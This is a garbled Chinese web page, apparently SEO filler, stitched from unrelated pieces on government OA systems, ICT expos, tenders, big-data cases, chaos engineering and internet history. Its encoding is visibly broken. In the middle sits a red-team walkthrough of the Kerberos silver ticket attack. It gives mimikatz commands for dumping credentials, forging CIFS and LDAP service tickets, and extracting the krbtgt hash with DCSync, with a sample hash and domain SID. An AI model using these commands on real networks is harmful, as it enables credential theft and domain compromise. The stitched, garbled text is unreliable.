溫嶺市政府機(jī)關(guān)oa：市轄區(qū)政府機(jī)關(guān)oa中白銀票據(jù)（silver ticket）攻擊效、智能的辦公系統(tǒng)來提升工作效率、促進(jìn)團(tuán)隊(duì)協(xié)作，并實(shí)現(xiàn)更好的信息管理。智慧辦公系統(tǒng)（office automation，olden ticket 在利用過程中需要由 kdc 頒發(fā) tgt，并且在生成偽造的 tgt 的 20分鐘內(nèi)，tgs 不會對該 tgt 的真?zhèn)芜M(jìn)行校驗(yàn)。 silver ticket（白銀票據(jù)）依賴于服務(wù)賬號的密碼散列值，這不同于 golden ticket 利用需要使用 krbtgt 賬號的密碼哈希值，因此更加隱蔽。 golden ticket 使用 krbtgt 賬號密碼的哈希值，利用偽造高權(quán)限的 tgt 向 kdc 要求頒發(fā)擁有任意


2018上海信息通信技術(shù)展:

2018第20屆中國國際工業(yè)博覽會-信息與通信技術(shù)應(yīng)用展 時間：2018年9月19-23日 地點(diǎn)：國家會展中心（上海）主辦：國家發(fā)改委、商務(wù)部、工信部、科技部、中科院、中國工程院、中國貿(mào)促會、上海市人民政府 20年來，信息與通信技術(shù)應(yīng)用展以助推國際戰(zhàn)略性新興產(chǎn)業(yè)之新一代信息技術(shù)產(chǎn)業(yè)為己任，以市場需求為導(dǎo)向，政府支持為依托，媒體資源為支撐，為來自全球的ict企業(yè)構(gòu)建與中國市場，與政府部門有效的溝通橋梁。 同時，icts將關(guān)注創(chuàng)新話題，重點(diǎn)聚焦“工業(yè)互聯(lián)網(wǎng)”與“人工智能”，并特設(shè)專題展區(qū)，通過展覽展示，會議論壇，互動沙龍等活動形式，與供需企業(yè)，政府主管部門，專家學(xué)者，行業(yè)機(jī)構(gòu)等一起，共同體驗(yàn)信息帶信息技術(shù)推動各應(yīng)用行業(yè)與企業(yè)進(jìn)行創(chuàng)新 展覽展示覆蓋ict全行業(yè)展示專區(qū)，輻射全球ict新興市場，形式多樣的現(xiàn)場體驗(yàn)活動 市場推廣定制化多元化市場推廣方案，最佳化參展宣傳效果 演講與會與政府嘉賓交流信息產(chǎn)業(yè)，與專家討論行業(yè)前沿技術(shù)，與ict領(lǐng)軍企業(yè)共享行業(yè)創(chuàng)新思維 展示內(nèi)容：工業(yè)互聯(lián)網(wǎng)，云計(jì)算與大數(shù)據(jù)，通信與網(wǎng)絡(luò)，安防及信息安全，人工智能，物聯(lián)網(wǎng)，智慧城市，創(chuàng)業(yè)創(chuàng)新等 觀眾領(lǐng)域:政府及行業(yè)協(xié)會、裝備制造、物流及交通運(yùn)輸、汽車制造、船舶制造、建筑工程信息技術(shù)通信服務(wù)

dnspod十問黑湖智造：讓工廠數(shù)字化如搭積木一樣簡單:

問答時間：2021年5月20日 嘉賓簡介：劉崇明，現(xiàn)任黑湖科技副總裁。ict行業(yè)經(jīng)歷15年，曾任華為技術(shù)有限公司國家經(jīng)理、公共關(guān)系與政府事務(wù)部高級總監(jiān)等職務(wù)。 對工業(yè)互聯(lián)網(wǎng)相關(guān)技術(shù)、行業(yè)生態(tài)及政府政策有深刻理解。擅長在政府政策框架下制訂工業(yè)互聯(lián)網(wǎng)企業(yè)生態(tài)戰(zhàn)略、推動生態(tài)合作和業(yè)務(wù)落地。 mes系統(tǒng)軟件多如牛毛，可以說下你們能這么快將產(chǎn)品推向市場，獲得b端客戶青睞的最核心原因是什么？如何才能將自己的優(yōu)勢、價值一層一層傳遞給企業(yè)客戶的決策者，針對性地去解決客戶的需求？ 2 吳洪聲：你們曾用了兩年半的時間打磨產(chǎn)品，直到2019年黑湖智造才開始從一家技術(shù)型公司完成向商業(yè)型公司的轉(zhuǎn)型。 同時相比于垂類saas軟件，通用saas軟件被市場更加看好，營收和毛利要更高，你們當(dāng)時是如何定位做mes系統(tǒng)的？未來有打算向通用型saas軟件擴(kuò)展嗎？

1.09 億元、襄陽市車聯(lián)網(wǎng)先導(dǎo)區(qū)建設(shè)項(xiàng)目：天安智聯(lián)、襄陽市交通規(guī)劃設(shè)計(jì)院、騰訊云、漢江城建（聯(lián)合體）中標(biāo):

2021年8月4日，襄陽市車聯(lián)網(wǎng)先導(dǎo)區(qū)建設(shè)項(xiàng)目一期招標(biāo)公告發(fā)布，合同估算價108670400.00元。 主要建設(shè)內(nèi)容包括交叉路口基礎(chǔ)施工，購置安裝路側(cè)通信單元、高清攝像機(jī)、毫米波雷達(dá)、激光雷達(dá)、智能信號采集器、通信網(wǎng)絡(luò)設(shè)備、調(diào)度展示中心、車載終端等，租用公有云、網(wǎng)絡(luò)流量服務(wù)，建設(shè)開發(fā)后臺支撐運(yùn)營平臺等。 、部署建設(shè)等以滿足 v2x 應(yīng)用場景建設(shè)，建設(shè)城市級智能網(wǎng)聯(lián)功能應(yīng)用平臺，以滿足用戶、企業(yè)、政府等交通和出行需求，并持續(xù)擴(kuò)展；建設(shè)智能網(wǎng)聯(lián)基礎(chǔ)數(shù)據(jù)平臺，包含:智能網(wǎng)聯(lián)標(biāo)識解析和網(wǎng)絡(luò)信任支撐平臺、智能網(wǎng)聯(lián)基礎(chǔ)平臺和智能網(wǎng)聯(lián)安全平臺 中標(biāo)結(jié)果 2021年8月30日評標(biāo)結(jié)果公示發(fā)布，江蘇天安智聯(lián)科技股份有限公司（牽頭單位），襄陽市交通規(guī)劃設(shè)計(jì)院有限公司、騰訊云計(jì)算（北京）有限責(zé)任公司、漢江城建集團(tuán)有限公司（成員單位）108557100.00 元中標(biāo)。

2017最新總結(jié)政府大數(shù)據(jù)應(yīng)用案例及啟示:

這主要包括兩個方面：○ 一是政府所擁有和管理的數(shù)據(jù)，如典型的公安、交通、醫(yī)療、衛(wèi)生、就業(yè)、社保、地理、文化、教育、科技、環(huán)境、金融、統(tǒng)計(jì)、氣象等數(shù)據(jù)；○ 二是政府工作開展產(chǎn)生、采集以及因管理服務(wù)需求而采集的外部大數(shù)據(jù) 2、規(guī)劃部門○ 運(yùn)營商大數(shù)據(jù)助力城市規(guī)劃重慶市綦江區(qū)規(guī)劃局委托上海復(fù)旦規(guī)劃建筑設(shè)計(jì)研究院及重慶移動共同開展，利用重慶移動相關(guān)數(shù)據(jù)及綦江相關(guān)統(tǒng)計(jì)年鑒數(shù)據(jù)對綦江中心城區(qū)人口、住宅、商業(yè)、公共服務(wù)配套等進(jìn)行大數(shù)據(jù)分析 “緩解交通堵塞”是城市大腦的首個嘗試，并已在蕭山區(qū)市心路投入使用，部分路段車輛通行速度提升了11％。 8、文化旅游部門○ 山東省用旅游大數(shù)據(jù)帶動農(nóng)村經(jīng)濟(jì)發(fā)展 山東省將省內(nèi)公安系統(tǒng)、交通系統(tǒng)、統(tǒng)計(jì)系統(tǒng)、環(huán)保系統(tǒng)、通訊系統(tǒng)等十余個涉旅行業(yè)部門聯(lián)合，整合全省旅游行業(yè)的要素?cái)?shù)據(jù)，開發(fā)完成旅游產(chǎn)業(yè)運(yùn)行監(jiān)測管理服務(wù)平臺 建設(shè)統(tǒng)一的政府?dāng)?shù)據(jù)開放平臺，整合所有的政府公開數(shù)據(jù)，將之以統(tǒng)一的數(shù)據(jù)標(biāo)準(zhǔn)與數(shù)據(jù)格式進(jìn)行發(fā)布，并為開發(fā)者提供api接口，可以大大提升公眾對政府?dāng)?shù)據(jù)的使用效率。

溫嶺市政府機(jī)關(guān)oa：市轄區(qū)政府機(jī)關(guān)oa中白銀票據(jù)（silver ticket）攻擊

要工具。本文將探討智慧辦公系統(tǒng)的定義、優(yōu)勢以及如何選擇最適合企業(yè)需求的政務(wù)OA系統(tǒng)。一、智慧辦公系統(tǒng)的定義智慧辦公系統(tǒng)是一種集成了辦公自動化、信息化技術(shù)的綜合性管理系統(tǒng)。它通過將各種辦公公文系統(tǒng)程自動化，實(shí)現(xiàn)信息的集中管理和共享，提高工作效率，減少重復(fù)勞動，降低溝通成本。智慧辦公系統(tǒng)通常包括但不限于以下功能模塊：電子郵件、日程安排、文檔管理、流程審批、項(xiàng)目管理、考勤管理等。二、智慧辦公系統(tǒng)的優(yōu)勢提升工作效率：智慧辦公系統(tǒng)通過自動化流程、集中管理信息等功能，大大減少了員工在繁瑣辦公事務(wù)上的時間和精力消耗，從而提高了工作效率。員工可以更專注于核心業(yè)務(wù)，提升工作質(zhì)量和效率。促進(jìn)團(tuán)隊(duì)協(xié)作：智慧辦公系統(tǒng)提供了即時通訊、協(xié)同編輯、共享文檔等功能，方便團(tuán)隊(duì)成員之間的溝通和協(xié)作。無論是跨部門合作還是遠(yuǎn)程辦公，團(tuán)隊(duì)大家好，這里是 滲透攻擊紅隊(duì) 的第 38 篇文章，本公眾號會記錄一些我學(xué)習(xí)紅隊(duì)攻擊的復(fù)現(xiàn)筆記（由淺到深），不出意外每天一更 白銀票據(jù) silver ticket（白銀票據(jù)）不同與 golden ticket。silver ticket 的利用過程是偽造 tgs，通過已知的授權(quán)服務(wù)密碼生成一張可以訪問該服務(wù)的 tgt。因?yàn)樵谄睋?jù)生成過程中不需要使用 kdc，所以可以繞過域控制器，很少留下日志，而 golden ticket 在利用過程中需要由 kdc 頒發(fā) tgt，并且在生成偽造的 tgt 的 20分鐘內(nèi)，tgs 不會對該 tgt 的真?zhèn)芜M(jìn)行校驗(yàn)。 silver ticket（白銀票據(jù)）依賴于服務(wù)賬號的密碼散列值，這不同于 golden ticket 利用需要使用 krbtgt 賬號的密碼哈希值，因此更加隱蔽。 golden ticket 使用 krbtgt 賬號密碼的哈希值，利用偽造高權(quán)限的 tgt 向 kdc 要求頒發(fā)擁有任意服務(wù)訪問權(quán)限的票據(jù)，從而獲取域控制器權(quán)限。 而 silver ticket（白銀票據(jù)）會通過相應(yīng)的服務(wù)賬號來偽造 tgs，例如：ldap、mssql、winrm、dns、cifs 等，范圍有限，只能獲取對應(yīng)服務(wù)權(quán)限。 golden ticket 是由 krbtgt 賬號加密的，而 silver ticket（白銀票據(jù)）是由特定服務(wù)賬號加密的。 白銀票據(jù)攻擊 環(huán)境 攻擊者在使用 silver ticket（白銀票據(jù)）對內(nèi)網(wǎng)進(jìn)行攻擊時，需要掌握下面的信息： 域名 域 sid（就是域成員sid值去掉最后的） 目標(biāo)服務(wù)器的 fqdn 可利用的服務(wù) 服務(wù)賬號的 ntlm hash 需要偽造的用戶名 白銀票據(jù)偽造 cifs 服務(wù)權(quán)限 cifs 服務(wù)通常用于 windows 主機(jī)之間的文件共享。 在當(dāng)前域用戶 mary 查詢域控制器的共享目錄的訪問權(quán)限，發(fā)現(xiàn)沒有權(quán)限： 代碼語言：javascript 復(fù)制 dir \owa2010cn-godc$ 在域控制器中使用 mimikatz 獲取服務(wù)賬號的 ntlm hash： 代碼語言：javascript 復(fù)制 mimikatz log "privilege::debug" "sekurlsa::logonpasswords" 得到的域控制器的信息： 代碼語言：javascript 復(fù)制 username : administrator ntlm hash：78c403b6e04402158d26c5581f9e954b sid:s-1-5-21-1218902331-2157346161-1782232778 在命令行環(huán)境下清空當(dāng)前系統(tǒng)中的票據(jù)，防止其他票據(jù)對實(shí)驗(yàn)環(huán)境進(jìn)行干擾： 代碼語言：javascript 復(fù)制 klist purge 或者可以使用 mimikatz 清除票據(jù)： 代碼語言：javascript 復(fù)制 kerberos::purge 查看域的 sid 值： 代碼語言：javascript 復(fù)制 whoami /user 得到的 sid ：s-1-5-21-1218902331-2157346161-1782232778 之后就可以使用 mimikatz 生成偽造的 silver ticket 票據(jù)：（在不能訪問域控制器的mary機(jī)器上執(zhí)行） 代碼語言：javascript 復(fù)制 kerberos::golden /domain:<域名> /sid:<域 sid> /target:<目標(biāo)服務(wù)器主機(jī)名> /service:<服務(wù)類型> /rc4:<ntlmhash> /user:<偽造的用戶名> /ptt kerberos::golden /domain:god.org /sid:s-1-5-21-1218902331-2157346161-1782232778 /target:owa2010cn-god.god.org /rc4:78c403b6e04402158d26c5581f9e954b /service:cifs /user:saul666 /ptt 這個時候就能訪問到域控的共享目錄了： 代碼語言：javascript 復(fù)制 dir \owa2010cn-godc$ 白銀票據(jù)偽造 ldap 服務(wù)權(quán)限 使用 dcsync 從域控制器中獲取指定用戶的賬號和密碼哈希值，例如 krbtgt。 輸入命令查看當(dāng)前權(quán)限是否可以使用 dcsync 與與控制器進(jìn)行同步： 代碼語言：javascript 復(fù)制 # 命令格式 lsadump::dcsync /dc:域dc /domain:域名 /user:域用戶名 # 示例 lsadump::dcsync /dc:owa2010cn-god.god.org /domain:god.org /user:krbtgt 向域控制器獲取 krbtgt 的密碼哈希值失敗，說明當(dāng)前權(quán)限不能進(jìn)行 dcsync 操作。 輸入命令在域控制器中使用 mimikatz 獲取服務(wù)賬號的 ntlm hash： 代碼語言：javascript 復(fù)制 mimikatz log "privilege::debug" "sekurlsa::logonpasswords" 獲取到的： 代碼語言：javascript 復(fù)制 username : owa2010cn-god$ ntlm : 78c403b6e04402158d26c5581f9e954b 然后為了防止其他票據(jù)對實(shí)驗(yàn)進(jìn)行干擾，我們先清除內(nèi)存中的票據(jù)： 代碼語言：javascript 復(fù)制 klist purge 使用 mimikatz 生成偽造的 silver ticket，在之前不能使用 dcsync 從域控制器獲取 krbtgt 密碼哈希值的機(jī)器中輸入命令：（域 mary 機(jī)器） 代碼語言：javascript 復(fù)制 kerberos::golden /domain:god.org /sid:s-1-5-21-1218902331-2157346161-1782232778 /target:owa2010cn-god.god.org /service:ldap /rc4:78c403b6e04402158d26c5581f9e954b /user:saul666 /ptt 這個時候輸入命令，使用 dcsync 在域控制器中查詢 krbtgt 的密碼哈希值： 代碼語言：javascript 復(fù)制 lsadump::dcsync /dc:owa2010cn-god.god.org /domain:god.org /user:krbtgt silver ticket 還可以用于偽造其他服務(wù)，例如以下： 參考文章： https://blog.csdn.net/weixin_45728976/article/details/105290034

混沌工程：通過試錯的方法來提升穩(wěn)定性:

什么是混沌工程？起源：netflix 和 chaos monkey2008 年 netflix 在整體微服務(wù)化和數(shù)據(jù)中心遷移至 aws 云的背景下，開始了在生產(chǎn)環(huán)境進(jìn)行系統(tǒng)彈性的測試。 它由一系列搗亂工具構(gòu)成，其中的成員可用于隨機(jī)關(guān)閉實(shí)例、服務(wù)調(diào)用中引入長時間延遲、模擬整個區(qū)域的斷電場景等。并且通過與持續(xù)發(fā)布平臺集成，自動進(jìn)行線上演練。? 避免非故障場景下預(yù)案功能正常，故障場景下卻失效了 數(shù)據(jù)中心斷網(wǎng)演練 驗(yàn)證數(shù)據(jù)中心的多活容災(zāi)，在無需人工干預(yù)的情況下，服務(wù)能自動在不同集群間進(jìn)行可用區(qū)的平滑遷移 架構(gòu)容災(zāi)評測 批量回放通用的故障場景，驗(yàn)證極端情況下個體組件的故障不會影響整個系統(tǒng) 混沌工程的核心是通過引入一些風(fēng)險(xiǎn)變量去暴露已有問題，而不是創(chuàng)造問題和事故。在恰當(dāng)?shù)臅r間和可控的爆炸半徑下進(jìn)行實(shí)驗(yàn)，有助于問題的發(fā)現(xiàn)和處理，降低潛在故障帶來的影響。 cpu、io高 線下仿真：復(fù)制生產(chǎn)流量 服務(wù)應(yīng)用指標(biāo)（如 接口錯誤率） 自動：故障注入 高級 服務(wù)延遲、異常 線上生產(chǎn)環(huán)境 業(yè)務(wù)指標(biāo)（如訂單量） 自動：ci 持續(xù)集成，持續(xù)驗(yàn)證 故障注入穩(wěn)態(tài)監(jiān)控和兜底停止產(chǎn)出結(jié)果報(bào)告

兩會閉幕！制造、交通、安全，這是「城市數(shù)字化」的10份提案:

第二，以專精特新企業(yè)為依托，探索數(shù)字科技與工業(yè)制造知識融合推動數(shù)智化的新路徑；內(nèi)容包括工業(yè)互聯(lián)網(wǎng)產(chǎn)業(yè)集聚區(qū)優(yōu)先探索設(shè)立專項(xiàng)資金，以政府購買服務(wù)、制定推薦目錄等方式，為轄區(qū)內(nèi)的專精特新企業(yè)精準(zhǔn)診斷數(shù)智化需求 要利用物聯(lián)網(wǎng)、云計(jì)算、人工智能等技術(shù)手段，建立覆蓋所有老人、養(yǎng)老院、養(yǎng)老照料中心、養(yǎng)老驛站和醫(yī)療衛(wèi)生機(jī)構(gòu)互聯(lián)互通的智慧養(yǎng)老服務(wù)平臺。二是拓展養(yǎng)老服務(wù)受益面和提高養(yǎng)老服務(wù)補(bǔ)貼標(biāo)準(zhǔn)。 大幅提高政府購買居家養(yǎng)老服務(wù)標(biāo)準(zhǔn)，探索長護(hù)險(xiǎn)與養(yǎng)老服務(wù)的結(jié)合，依托智能養(yǎng)老平臺建設(shè)，撬動社會力量參與居家養(yǎng)老服務(wù)。將60歲以上老人納入補(bǔ)貼范疇，享受居家養(yǎng)老服務(wù)。 建立與財(cái)政收入相匹配的養(yǎng)老保障支出的可持續(xù)增長機(jī)制。三是引進(jìn)與培育專業(yè)養(yǎng)老服務(wù)機(jī)構(gòu)和人才。通威集團(tuán)劉漢元：智能電網(wǎng)“碳中和將是未來最大的市場機(jī)遇?！?除運(yùn)行時間以外，電動汽車大部分時間在線，能成為電網(wǎng)儲能、微網(wǎng)儲能、小區(qū)儲能、家用儲能的一部分。電網(wǎng)負(fù)荷高時，電動汽車向電網(wǎng)反向售電；負(fù)荷低時，存儲電網(wǎng)過剩電量。

internet與中國:

由于當(dāng)時中國尚未正式連入internet，所以委托德國卡爾斯魯厄大學(xué)運(yùn)行cn域名服務(wù)器1993年3月2日中國科學(xué)院高能物理研究所租用at&t公司的國際衛(wèi)星信道接入美國斯坦福線性加速器中心（slac）的64k 盡管如此，這條專線仍是我國部分連入internet的第一根專線中國互聯(lián)網(wǎng)連接世界1885年中國臺灣建省，首任巡撫劉銘傳派人與福州船政聯(lián)系，使用船政電報(bào)學(xué)堂畢業(yè)生為技術(shù)人員，于1887年鋪設(shè)成功中國臺灣淡水至福州川石海底電纜 此電纜毀于第二次世界大戰(zhàn)我國于1989年開始投入到全球海底光纜的投資與建設(shè)中來，并于1993年實(shí)現(xiàn)了首條國際海底光纜的登陸（中日之間c-j海底光纜系統(tǒng)）；隨后在1997年，我國參與建設(shè)的全球海底光纜系統(tǒng) 1998年6月18日劉強(qiáng)東在中關(guān)村創(chuàng)辦京東公司，代理銷售光磁產(chǎn)品1998年11月馬化騰和張志東成立深圳市騰訊計(jì)算機(jī)系統(tǒng)有限公司，oicq開通1998年12月新浪網(wǎng)成立，關(guān)鍵人物：王志東2000年1月李彥宏創(chuàng)建了百度 2003年5月阿里巴巴集團(tuán)在創(chuàng)立淘寶網(wǎng)2003年10月淘寶網(wǎng)首次推出支付寶服務(wù)2004年1月京東多媒體網(wǎng)正式開通，啟用域名www.jdlaser.com2010年4月雷軍創(chuàng)辦小米2011年1月21日騰訊公司推出微信

1分鐘鏈圈|習(xí)近平：要發(fā)展數(shù)字經(jīng)濟(jì)，加快推動數(shù)字產(chǎn)業(yè)化；v神遭強(qiáng)烈批評！應(yīng)該考慮無限供應(yīng)以太幣:

，硬件錢包的銷售也在增加《河北雄安新區(qū)規(guī)劃綱要》全文發(fā)布 明確超前布局區(qū)塊鏈等產(chǎn)業(yè)中國香港金管局召集6家銀行打造區(qū)塊鏈平臺，未來將與新加坡系統(tǒng)連接恭喜你，今天的新聞全部看完啦。 （金色財(cái)經(jīng)）9.越南總理指示加強(qiáng)對加密貨幣詐騙案件的監(jiān)管越南加密貨幣市場目前正處于政府的關(guān)注之下，原因是在2018年4月8日，據(jù)報(bào)道，越南當(dāng)?shù)赝顿Y者被盜取了6.5億美元的資金。 而今，俄羅斯政府卻取消了禁止訪問bitcoininfo.ru網(wǎng)站的決定。 （新華社）15.中國香港金管局召集6家銀行打造區(qū)塊鏈平臺，未來將與新加坡系統(tǒng)連接據(jù)中國香港投資推廣署金融科技主管夏多希（charles d’haussy）透露，中國香港金管局已召集6家銀行，打造一個區(qū)塊鏈平臺 ，這個平臺將大幅減輕銀行的工作量，從而降低銀行的成本，待這個區(qū)塊鏈平臺建成之后，中國香港的系統(tǒng)將與新加坡的系統(tǒng)連接。

轉(zhuǎn)載請注明出處,本站網(wǎng)址：http://m.shenzhen-haerbin.com/news_2319.html